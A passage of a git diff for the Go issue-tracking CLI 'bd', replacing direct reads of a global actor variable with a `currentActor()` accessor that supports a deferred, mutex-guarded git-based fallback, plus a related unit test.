= origCtxActor + } + }) + t.Setenv("BEADS_ACTOR", "") + t.Setenv("BD_ACTOR", "") + + actor = "explicit" + deferActorGitFallback() + if actorGitFallbackPending { + t.Fatal("a configured actor must not defer a git lookup") + } + if got := currentActor(); got != "explicit" { + t.Fatalf("currentActor() = %q, want %q", got, "explicit") + } + + actor = "" + want := resolveActorWithGit() + deferActorGitFallback() + if !actorGitFallbackPending || actor != "" { + t.Fatalf("deferral resolved eagerly: pending=%v actor=%q", actorGitFallbackPending, actor) + } + if got := currentActor(); got != want { + t.Fatalf("currentActor() = %q, want eager resolution %q", got, want) + } + if actorGitFallbackPending || actor != want { + t.Fatalf("after first use: pending=%v actor=%q, want resolved %q", actorGitFallbackPending, actor, want) + } + + actor = "" + deferActorGitFallback() + if got := getActorWithGit(); got != want || actorGitFallbackPending || actor != want { + t.Fatalf("getActorWithGit() = %q (pending=%v actor=%q), want %q resolved into the global", got, actorGitFallbackPending, actor, want) + } + + actor = "" + deferActorGitFallback() + setActor("assigned") + if got := currentActor(); got != "assigned" { + t.Fatalf("setActor must cancel a deferred fallback: currentActor() = %q", got) + } +} diff --git a/cmd/bd/ado.go b/cmd/bd/ado.go index 08206992b..5e54257bc 100644 --- a/cmd/bd/ado.go +++ b/cmd/bd/ado.go @@ -540,7 +540,7 @@ func runADOSync(cmd *cobra.Command, _ []string) error { } // Create the sync engine - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) var warnings []string if !jsonOutput { engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } @@ -641,7 +641,7 @@ func runADOSync(cmd *cobra.Command, _ []string) error { continue } reason := fmt.Sprintf("ADO work item %s deleted", idStr) - if cerr := store.CloseIssue(ctx, localID, reason, actor, ""); cerr != nil { + if cerr := store.CloseIssue(ctx, localID, reason, currentActor(), ""); cerr != nil { msg := fmt.Sprintf("Failed to close %s for deleted ADO #%s: %v", localID, idStr, cerr) warnings = append(warnings, msg) if !jsonOutput { @@ -915,7 +915,7 @@ func buildADOPullHooks(ctx context.Context, at *ado.Tracker, bootstrapMatch, noC "external_ref": ref, "source_system": "ado:" + extIssue.ID, } - if err := store.UpdateIssue(ctx, result.BeadsID, updates, actor); err == nil { + if err := store.UpdateIssue(ctx, result.BeadsID, updates, currentActor()); err == nil { *matchCount++ if warn != nil { warn(fmt.Sprintf("Bootstrap matched ADO #%s → %s (%s)", extIssue.ID, result.BeadsID, result.MatchType)) diff --git a/cmd/bd/assign.go b/cmd/bd/assign.go index ba3a72e97..83b145f33 100644 --- a/cmd/bd/assign.go +++ b/cmd/bd/assign.go @@ -85,7 +85,7 @@ Examples: // lost race reports precondition_failed from the guarded write below // instead of this policy refusal — see ifRevisionAlreadyStale's doc. if !ifRevisionAlreadyStale(result.Issue, ifRevision) { - if err := validateIssueReassignable(id, result.Issue, actor, assignee, + if err := validateIssueReassignable(id, result.Issue, currentActor(), assignee, storeClaimPoolAliases(ctx, issueStore), force); err != nil { return HandleErrorRespectJSON("%s", err) } @@ -104,7 +104,7 @@ Examples: return HandleErrorRespectJSON("%v", err) } mutationResult, err := runCommandUpdateMutation(opsCtx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: result.ResolvedID, patch: issueops.IssuePatch{ Assignee: issueops.Field[string]{Set: true, Value: assignee}, @@ -121,7 +121,7 @@ Examples: return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "assign", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/audit.go b/cmd/bd/audit.go index 127e3f236..fd33d0536 100644 --- a/cmd/bd/audit.go +++ b/cmd/bd/audit.go @@ -77,8 +77,8 @@ var auditRecordCmd = &cobra.Command{ if err := json.Unmarshal(b, &e); err != nil { return HandleError("invalid JSON on stdin: %v", err) } - if actor != "" { - e.Actor = actor + if currentActor() != "" { + e.Actor = currentActor() } } else { if auditRecordKind == "" { @@ -86,7 +86,7 @@ var auditRecordCmd = &cobra.Command{ } e = audit.Entry{ Kind: auditRecordKind, - Actor: actor, + Actor: currentActor(), IssueID: auditRecordIssueID, Model: auditRecordModel, Prompt: auditRecordPrompt, @@ -137,7 +137,7 @@ var auditLabelCmd = &cobra.Command{ } e := audit.Entry{ Kind: "label", - Actor: actor, + Actor: currentActor(), ParentID: parentID, Label: auditLabelValue, Reason: auditLabelReason, diff --git a/cmd/bd/close.go b/cmd/bd/close.go index b99abe219..5a28910a2 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -227,7 +227,7 @@ the flags appear in the command line.`, // suppressed real-close side effects (no audit, no closed→closed on the // step). Register the store when it actually closed the root so the // pending-commit sweep persists it — closedCount==0 would not commit. - if molID := autoCloseCompletedMolecule(ctx, activeStore, id, actor, session); molID != "" { + if molID := autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session); molID != "" { mutatedStores[activeStore] = append(mutatedStores[activeStore], molID) } } else { @@ -238,13 +238,13 @@ the flags appear in the command line.`, if issue != nil { oldStatus = string(issue.Status) } - audit.LogFieldChange(id, "status", oldStatus, "closed", actor, reason) + audit.LogFieldChange(id, "status", oldStatus, "closed", currentActor(), reason) closedCount++ // Auto-close parent molecule if all steps are now complete. // Runs against the same store the step was closed in. - autoCloseCompletedMolecule(ctx, activeStore, id, actor, session) + autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session) } // First id this command settled as closed — a real close or an @@ -313,7 +313,7 @@ the flags appear in the command line.`, if continueFlag && len(resolvedIDs) == 1 && closedForCommand { autoClaim := !noAuto - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(postCloseStore), resolvedIDs[0], autoClaim, actor) + result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(postCloseStore), resolvedIDs[0], autoClaim, currentActor()) if err != nil { fmt.Fprintf(os.Stderr, "Warning: could not advance to next step: %v\n", err) } else if result != nil { @@ -400,7 +400,7 @@ the flags appear in the command line.`, if s == nil { continue } - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "close", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index d7ac30cb1..47890945e 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -81,7 +81,7 @@ func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, // guard remains the authority on whether the close is a no-op, so a // concurrent close still converges. Mirrored in closeProxiedCheckOne. if issue == nil || issue.Status != types.StatusClosed { - if err := validateIssueClosable(id, issue, actor, force); err != nil { + if err := validateIssueClosable(id, issue, currentActor(), force); err != nil { return err.Error() } } @@ -135,7 +135,7 @@ func closeDirectBatches(items []closeDirectItem) []closeDirectBatch { // hands out ONE claim however many stores the ids spanned. func closeDirectRequest(batch closeDirectBatch, session string, force bool, claimStore storage.DoltStorage, claimNext *issueops.ReadyRequest) issueops.CloseBatchRequest { request := issueops.CloseBatchRequest{ - Actor: actor, + Actor: currentActor(), Items: make([]issueops.BatchCloseItem, 0, len(batch.items)), Session: session, Force: force, diff --git a/cmd/bd/close_if_revision.go b/cmd/bd/close_if_revision.go index ac5bfda1a..b544714e5 100644 --- a/cmd/bd/close_if_revision.go +++ b/cmd/bd/close_if_revision.go @@ -50,7 +50,7 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool preCloseStatus := string(result.Issue.Status) closeResult, closeErr := ops.Close(opsCtx, issueops.CloseRequest{ - Actor: actor, + Actor: currentActor(), IssueID: result.ResolvedID, Reason: reason, Session: session, @@ -79,11 +79,11 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool // entirely (mc-zndi7.75) and would otherwise leave a molecule's root // stranded open forever. mutatedIDs := []string{result.ResolvedID} - if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, actor, session); molID != "" { + if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, currentActor(), session); molID != "" { mutatedIDs = append(mutatedIDs, molID) } - if err := commitPendingIfEmbedded(ctx, result.Store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, result.Store, currentActor(), doltAutoCommitParams{ Command: "close", IssueIDs: mutatedIDs, }); err != nil { @@ -116,7 +116,7 @@ func runCloseProxiedIfRevision(ctx context.Context, id, reason string, force boo } closeResult, closeErr := ops.Close(ctx, issueops.CloseRequest{ - Actor: actor, + Actor: currentActor(), IssueID: id, Reason: reason, Session: session, @@ -165,7 +165,7 @@ func runCloseIfRevisionProxiedPostClose(ctx context.Context, id, session string) } autoClosedMol, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*types.Issue, string, error) { var warnings []string - mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, actor, session, &warnings) + mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, currentActor(), session, &warnings) for _, w := range warnings { fmt.Fprintf(os.Stderr, "Warning: %s\n", w) } @@ -209,7 +209,7 @@ func reportClosedIfRevisionResult(id, reason, preCloseStatus string, closeResult closedIssue.Dependencies = nil } if closeResult.Changed { - audit.LogFieldChange(id, "status", preCloseStatus, "closed", actor, reason) + audit.LogFieldChange(id, "status", preCloseStatus, "closed", currentActor(), reason) } if jsonOutput { if closedIssue != nil { diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 94a614e3a..e7a791d4f 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -140,7 +140,7 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin return HandleErrorRespectJSON("%v", cerr) } result, err = closer.CloseBatch(ctx, issueops.CloseBatchRequest{ - Actor: actor, + Actor: currentActor(), Items: pre.items, Session: in.session, Force: in.force, @@ -166,7 +166,7 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin for i, o := range outcomes { if o.closed { - audit.LogFieldChange(o.id, "status", o.auditOld, "closed", actor, o.auditReason) + audit.LogFieldChange(o.id, "status", o.auditOld, "closed", currentActor(), o.auditReason) } if !in.jsonOut { fmt.Printf("%s Closed %s: %s\n", ui.RenderPass("✓"), formatFeedbackID(o.after.ID, o.after.Title), closeReasons[i]) @@ -300,7 +300,7 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in // always been. Both close paths must agree here — diverging is the defect // class #5217 closed. if current.Status != types.StatusClosed { - if err := validateIssueClosable(id, current, actor, in.force); err != nil { + if err := validateIssueClosable(id, current, currentActor(), in.force); err != nil { return err.Error(), nil } } @@ -483,7 +483,7 @@ func closeProxiedRunPostClose(ctx context.Context, args []string, in closeProxie var wrote []string for _, o := range outcomes { - mol := autoCloseProxiedCompletedMolecule(ctx, uw, o.id, actor, in.session, &out.warnings) + mol := autoCloseProxiedCompletedMolecule(ctx, uw, o.id, currentActor(), in.session, &out.warnings) if mol != nil { out.autoClosedMol = mol wrote = append(wrote, "auto-close "+mol.ID) @@ -529,7 +529,7 @@ func closeProxiedSuggestNext(ctx context.Context, uw uow.UnitOfWork, closedID st } func closeProxiedContinue(ctx context.Context, uw uow.UnitOfWork, closedID string, autoClaim bool) (*ContinueResult, string) { - result, err := AdvanceToNextStep(ctx, newUOWMolWriter(uw), closedID, autoClaim, actor) + result, err := AdvanceToNextStep(ctx, newUOWMolWriter(uw), closedID, autoClaim, currentActor()) if err != nil { return nil, fmt.Sprintf("could not advance to next step: %v", err) } diff --git a/cmd/bd/comment.go b/cmd/bd/comment.go index 15f577e7c..76cf3342a 100644 --- a/cmd/bd/comment.go +++ b/cmd/bd/comment.go @@ -183,7 +183,7 @@ To list comments on an issue, use the plural form: bd comments `, if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "comment", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/comments.go b/cmd/bd/comments.go index c789ef498..256e6151f 100644 --- a/cmd/bd/comments.go +++ b/cmd/bd/comments.go @@ -258,7 +258,7 @@ Examples: if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := commitPendingIfEmbedded(ctx, result.Store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, result.Store, currentActor(), doltAutoCommitParams{ Command: "comments add", IssueIDs: []string{issueID}, }); err != nil { diff --git a/cmd/bd/context.go b/cmd/bd/context.go index 6b4807e47..bd772896b 100644 --- a/cmd/bd/context.go +++ b/cmd/bd/context.go @@ -112,17 +112,26 @@ func setStore(s storage.DoltStorage) { // getActor returns the current actor name for audit trail. func getActor() string { if shouldUseGlobals() { - return actor + return currentActor() + } + // cmdCtx.Actor is a copy of the global taken by syncCommandContext or + // setActor. While the two agree, the global is authoritative and may + // still carry a deferred git fallback (see deferActorGitFallback). + if cmdCtx.Actor == actor { + return currentActor() } return cmdCtx.Actor } // setActor updates the actor name in the CommandContext. func setActor(a string) { + actorMu.Lock() + defer actorMu.Unlock() if cmdCtx != nil { cmdCtx.Actor = a } actor = a + actorGitFallbackPending = false } // isJSONOutput returns true if JSON output mode is enabled. diff --git a/cmd/bd/cook.go b/cmd/bd/cook.go index d76422c97..6e94309b0 100644 --- a/cmd/bd/cook.go +++ b/cmd/bd/cook.go @@ -1001,20 +1001,20 @@ func cookFormula(ctx context.Context, s storage.DoltStorage, f *formula.Formula, } // Create all issues - if err := tx.CreateIssues(ctx, issues, actor); err != nil { + if err := tx.CreateIssues(ctx, issues, currentActor()); err != nil { return fmt.Errorf("failed to create issues: %w", err) } // Add labels for _, l := range labels { - if err := tx.AddLabel(ctx, l.issueID, l.label, actor); err != nil { + if err := tx.AddLabel(ctx, l.issueID, l.label, currentActor()); err != nil { return fmt.Errorf("failed to add label %s to %s: %w", l.label, l.issueID, err) } } // Add dependencies for _, dep := range deps { - if err := tx.AddDependency(ctx, dep, actor); err != nil { + if err := tx.AddDependency(ctx, dep, currentActor()); err != nil { return fmt.Errorf("failed to create dependency: %w", err) } } diff --git a/cmd/bd/create.go b/cmd/bd/create.go index e65c9ab82..38692d287 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -568,7 +568,7 @@ var createCmd = &cobra.Command{ // dry-run preview needs it too; asking the facade to inherit as well // would append the parent's labels a second time. result, err := ops.Create(opsCtx, issueops.CreateRequest{ - Actor: actor, + Actor: currentActor(), Issue: issue, ParentID: parentID, Dependencies: createDependencyRequests(depSpecs), @@ -610,7 +610,7 @@ var createCmd = &cobra.Command{ } if repoPath != "." && targetStore != nil { - if err := commitPendingIfEmbedded(ctx, targetStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, targetStore, currentActor(), doltAutoCommitParams{ Command: "create", IssueIDs: []string{created.ID}, }); err != nil { diff --git a/cmd/bd/create_form.go b/cmd/bd/create_form.go index d52f88dce..42d455796 100644 --- a/cmd/bd/create_form.go +++ b/cmd/bd/create_form.go @@ -371,7 +371,7 @@ func runCreateForm(cmd *cobra.Command) error { fv := parseCreateFormInput(raw) fv.ParentID = parentID - issue, err := CreateIssueFromFormValues(rootCtx, store, fv, actor) + issue, err := CreateIssueFromFormValues(rootCtx, store, fv, currentActor()) if err != nil { return HandleError("%v", err) } diff --git a/cmd/bd/defer.go b/cmd/bd/defer.go index 4158253bb..0a22b18be 100644 --- a/cmd/bd/defer.go +++ b/cmd/bd/defer.go @@ -123,7 +123,7 @@ Examples: updates["notes"] = notes + reason } - if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, fullID, updates, currentActor()); err != nil { fmt.Fprintf(os.Stderr, "Error deferring %s: %v\n", fullID, err) continue } diff --git a/cmd/bd/defer_proxied_server.go b/cmd/bd/defer_proxied_server.go index 280df6ace..0e1a47847 100644 --- a/cmd/bd/defer_proxied_server.go +++ b/cmd/bd/defer_proxied_server.go @@ -27,9 +27,9 @@ type deferProxiedResult struct { func proxiedUpdateByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool, updates map[string]any) error { if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, id, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, id, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, id, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, id, updates, currentActor()) } func proxiedGetByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool) *types.Issue { diff --git a/cmd/bd/delete.go b/cmd/bd/delete.go index d48de774a..c767f3958 100644 --- a/cmd/bd/delete.go +++ b/cmd/bd/delete.go @@ -163,7 +163,7 @@ Force: Delete and orphan dependents // rewrite runs INSIDE the transaction that deletes, because it is the // role's. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: []string{issueID}, Force: force, DryRun: dryRun || !force, @@ -378,7 +378,7 @@ func deleteBatch(_ *cobra.Command, issueIDs []string, force bool, dryRun bool, c // --force is the confirmation as well as the orphan mode, so an unconfirmed // run asks the role what it WOULD do; see the single-id path. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: resolvedIDs, Cascade: cascade, Force: force, diff --git a/cmd/bd/delete_proxied_server.go b/cmd/bd/delete_proxied_server.go index 9cd6b0491..3fff3137d 100644 --- a/cmd/bd/delete_proxied_server.go +++ b/cmd/bd/delete_proxied_server.go @@ -102,7 +102,7 @@ func runDeleteProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri // --force is the confirmation as well as the orphan mode, exactly as on the // direct route, so an unconfirmed run asks the role what it WOULD do. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: in.ids, Cascade: in.cascade, Force: in.force, diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index ef502d810..e77e1e1c8 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -37,7 +37,7 @@ func addDependencyEdgesDirect(ctx context.Context, st storage.DoltStorage, edges return err } _, err = editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ - Actor: actor, + Actor: currentActor(), Edges: edges, SkipPerEdgeCycleCheck: skipPerEdgeCycleCheck, }) @@ -330,7 +330,7 @@ Examples: warnIfCyclesExist(fromStore) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep add", IssueIDs: []string{fromID, toID}, }); err != nil { @@ -520,7 +520,7 @@ Examples: warnIfCyclesExist(fromStore) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep add", IssueIDs: []string{fromID, toID}, }); err != nil { @@ -1270,7 +1270,7 @@ var depRemoveCmd = &cobra.Command{ return HandleErrorRespectJSON("%v", err) } result, err := editor.RemoveDependency(opsCtx, issueops.RemoveDependencyRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullFromID, DependsOnID: fullToID, }) @@ -1278,7 +1278,7 @@ var depRemoveCmd = &cobra.Command{ return HandleErrorRespectJSON("%v", err) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep remove", IssueIDs: []string{fullFromID, fullToID}, }); err != nil { diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index 28e50f79f..aee6b0306 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -76,7 +76,7 @@ func addDependencyEdgesProxied(ctx context.Context, edges []issueops.DependencyE return err } _, err = editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ - Actor: actor, + Actor: currentActor(), Edges: edges, SkipPerEdgeCycleCheck: skipPerEdgeCycleCheck, }) @@ -370,7 +370,7 @@ func runDepRemoveProxiedServer(_ *cobra.Command, ctx context.Context, args []str return HandleErrorRespectJSON("%v", err) } result, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fromID, DependsOnID: toID, }) diff --git a/cmd/bd/duplicates.go b/cmd/bd/duplicates.go index 32c6417c0..f11e4ea35 100644 --- a/cmd/bd/duplicates.go +++ b/cmd/bd/duplicates.go @@ -424,7 +424,7 @@ func performMerge(targetID string, sourceIDs []string) map[string]interface{} { // Close the duplicate issue reason := fmt.Sprintf("Duplicate of %s", targetID) - if err := store.CloseIssue(ctx, sourceID, reason, actor, ""); err != nil { + if err := store.CloseIssue(ctx, sourceID, reason, currentActor(), ""); err != nil { errors = append(errors, fmt.Sprintf("failed to close %s: %v", sourceID, err)) continue } diff --git a/cmd/bd/edit.go b/cmd/bd/edit.go index 5fe2bed53..5e04128d0 100644 --- a/cmd/bd/edit.go +++ b/cmd/bd/edit.go @@ -150,7 +150,7 @@ Examples: fieldToEdit: newValue, } - err = issueStore.UpdateIssue(ctx, id, updates, actor) + err = issueStore.UpdateIssue(ctx, id, updates, currentActor()) if err != nil { if accessor, ok := storage.UnwrapStore(issueStore).(storage.RawDBAccessor); ok { if pingErr := accessor.DB().PingContext(ctx); pingErr != nil { @@ -158,14 +158,14 @@ Examples: _ = accessor.DB().PingContext(ctx) } } - err = issueStore.UpdateIssue(ctx, id, updates, actor) + err = issueStore.UpdateIssue(ctx, id, updates, currentActor()) } if err != nil { fmt.Fprintf(os.Stderr, "Your edits are preserved in: %s\n", tmpPath) return HandleErrorRespectJSON("updating issue: %v", err) } editSaved = true - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "edit", IssueIDs: []string{id}, }); err != nil { diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 3aa97289e..98985e062 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -275,7 +275,7 @@ This is used by 'bd done --phase-complete' to register for gate wake notificatio updates := map[string]interface{}{ "waiters": newWaiters, } - if err := store.UpdateIssue(ctx, gateID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, gateID, updates, currentActor()); err != nil { return HandleError("updating gate: %v", err) } @@ -355,7 +355,7 @@ Examples: } gate.Metadata = metadata - if err := store.CreateIssue(ctx, gate, actor); err != nil { + if err := store.CreateIssue(ctx, gate, currentActor()); err != nil { return HandleErrorRespectJSON("creating gate: %v", err) } @@ -364,7 +364,7 @@ Examples: DependsOnID: gate.ID, Type: types.DepBlocks, } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("adding blocking dependency: %v", err) } @@ -573,7 +573,7 @@ Use --reason to provide context for why the gate was resolved.`, return HandleError("%s is not a gate issue (type=%s)", gateID, issue.IssueType) } - if err := store.CloseIssue(ctx, gateID, reason, actor, ""); err != nil { + if err := store.CloseIssue(ctx, gateID, reason, currentActor(), ""); err != nil { return HandleError("closing gate: %v", err) } @@ -679,7 +679,7 @@ Examples: return updateGateAwaitIDFunc(nil, gateID, runID) } recordSeen = func(gate *types.Issue) error { - if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), actor); err != nil { + if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), currentActor()); err != nil { return err } commandDidWrite.Store(true) @@ -1575,7 +1575,7 @@ func beadGateRetargetUpdate(awaitID string, dropSeen bool) map[string]interface{ // closeGate closes a gate issue with the given reason func closeGate(_ interface{}, gateID, reason string) error { - if err := store.CloseIssue(rootCtx, gateID, reason, actor, ""); err != nil { + if err := store.CloseIssue(rootCtx, gateID, reason, currentActor(), ""); err != nil { return err } commandDidWrite.Store(true) diff --git a/cmd/bd/gate_discover.go b/cmd/bd/gate_discover.go index f66c3d4fa..b1842e1de 100644 --- a/cmd/bd/gate_discover.go +++ b/cmd/bd/gate_discover.go @@ -581,7 +581,7 @@ func updateGateAwaitID(_ interface{}, gateID, runID string) error { updates := map[string]interface{}{ "await_id": runID, } - if err := store.UpdateIssue(rootCtx, gateID, updates, actor); err != nil { + if err := store.UpdateIssue(rootCtx, gateID, updates, currentActor()); err != nil { return err } return nil diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index 8597a749b..f83e66186 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -140,7 +140,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } for gateID, runID := range discovered { - if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"await_id": runID}, actor); err != nil { + if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"await_id": runID}, currentActor()); err != nil { out.awaitErrs[gateID] = fmt.Errorf("failed to update gate with discovered run ID: %w", err) continue } @@ -168,7 +168,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { if before != nil && before.Status == types.StatusClosed { continue } - res, closeErr := uw.IssueUseCase().CloseIssue(ctx, r.gate.ID, domain.CloseIssueParams{Reason: r.reason}, actor) + res, closeErr := uw.IssueUseCase().CloseIssue(ctx, r.gate.ID, domain.CloseIssueParams{Reason: r.reason}, currentActor()) if closeErr != nil { out.closeErrs[r.gate.ID] = closeErr continue @@ -192,7 +192,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } for _, c := range applied.closed { - audit.LogFieldChange(c.after.ID, "status", c.oldStatus, "closed", actor, c.reason) + audit.LogFieldChange(c.after.ID, "status", c.oldStatus, "closed", currentActor(), c.reason) } if len(applied.closed) > 0 || len(applied.updated) > 0 { commandDidWrite.Store(true) @@ -326,7 +326,7 @@ func runGateAddWaiterProxiedServer(_ *cobra.Command, ctx context.Context, args [ } newWaiters := append(issue.Waiters, waiter) - if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"waiters": newWaiters}, actor); err != nil { + if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"waiters": newWaiters}, currentActor()); err != nil { return out, "", fmt.Errorf("updating gate: %w", err) } if after, getErr := uw.IssueUseCase().GetIssue(ctx, gateID); getErr == nil { @@ -394,7 +394,7 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { } gate.Metadata = metadata - res, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{Issue: gate}, actor) + res, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{Issue: gate}, currentActor()) if err != nil { return out, "", fmt.Errorf("creating gate: %w", err) } @@ -404,7 +404,7 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { DependsOnID: res.Issue.ID, Type: types.DepBlocks, } - if err := uw.DependencyUseCase().AddDependency(ctx, dep, actor); err != nil { + if err := uw.DependencyUseCase().AddDependency(ctx, dep, currentActor()); err != nil { return out, "", fmt.Errorf("adding blocking dependency: %w", err) } @@ -464,7 +464,7 @@ func runGateResolveProxiedServer(cmd *cobra.Command, ctx context.Context, args [ return out, "", fmt.Errorf("%s is not a gate issue (type=%s)", gateID, issue.IssueType) } - res, err := uw.IssueUseCase().CloseIssue(ctx, gateID, domain.CloseIssueParams{Reason: reason}, actor) + res, err := uw.IssueUseCase().CloseIssue(ctx, gateID, domain.CloseIssueParams{Reason: reason}, currentActor()) if err != nil { return out, "", fmt.Errorf("closing gate: %w", err) } @@ -486,7 +486,7 @@ func runGateResolveProxiedServer(cmd *cobra.Command, ctx context.Context, args [ // double-resolve must not re-log it (same guard as the o.closed check in // close_proxied_server.go). if applied.closed && applied.after != nil { - audit.LogFieldChange(applied.after.ID, "status", applied.oldStatus, "closed", actor, reason) + audit.LogFieldChange(applied.after.ID, "status", applied.oldStatus, "closed", currentActor(), reason) } commandDidWrite.Store(true) diff --git a/cmd/bd/gc_proxied_server.go b/cmd/bd/gc_proxied_server.go index ed4818373..f5fbdb7df 100644 --- a/cmd/bd/gc_proxied_server.go +++ b/cmd/bd/gc_proxied_server.go @@ -93,7 +93,7 @@ func runGCProxiedServer(ctx context.Context) error { ids[i] = issue.ID } deleteResult, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (domain.DeleteIssuesResult, string, error) { - res, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: ids}, actor) + res, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: ids}, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } diff --git a/cmd/bd/github.go b/cmd/bd/github.go index 77ee4e8e8..bedc3ef4b 100644 --- a/cmd/bd/github.go +++ b/cmd/bd/github.go @@ -419,7 +419,7 @@ func runGitHubSync(cmd *cobra.Command, args []string) error { } // Create the sync engine - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } engine.OnWarning = func(msg string) { _, _ = fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/gitlab.go b/cmd/bd/gitlab.go index 6657dcb3b..6bc94e0d0 100644 --- a/cmd/bd/gitlab.go +++ b/cmd/bd/gitlab.go @@ -511,7 +511,7 @@ func 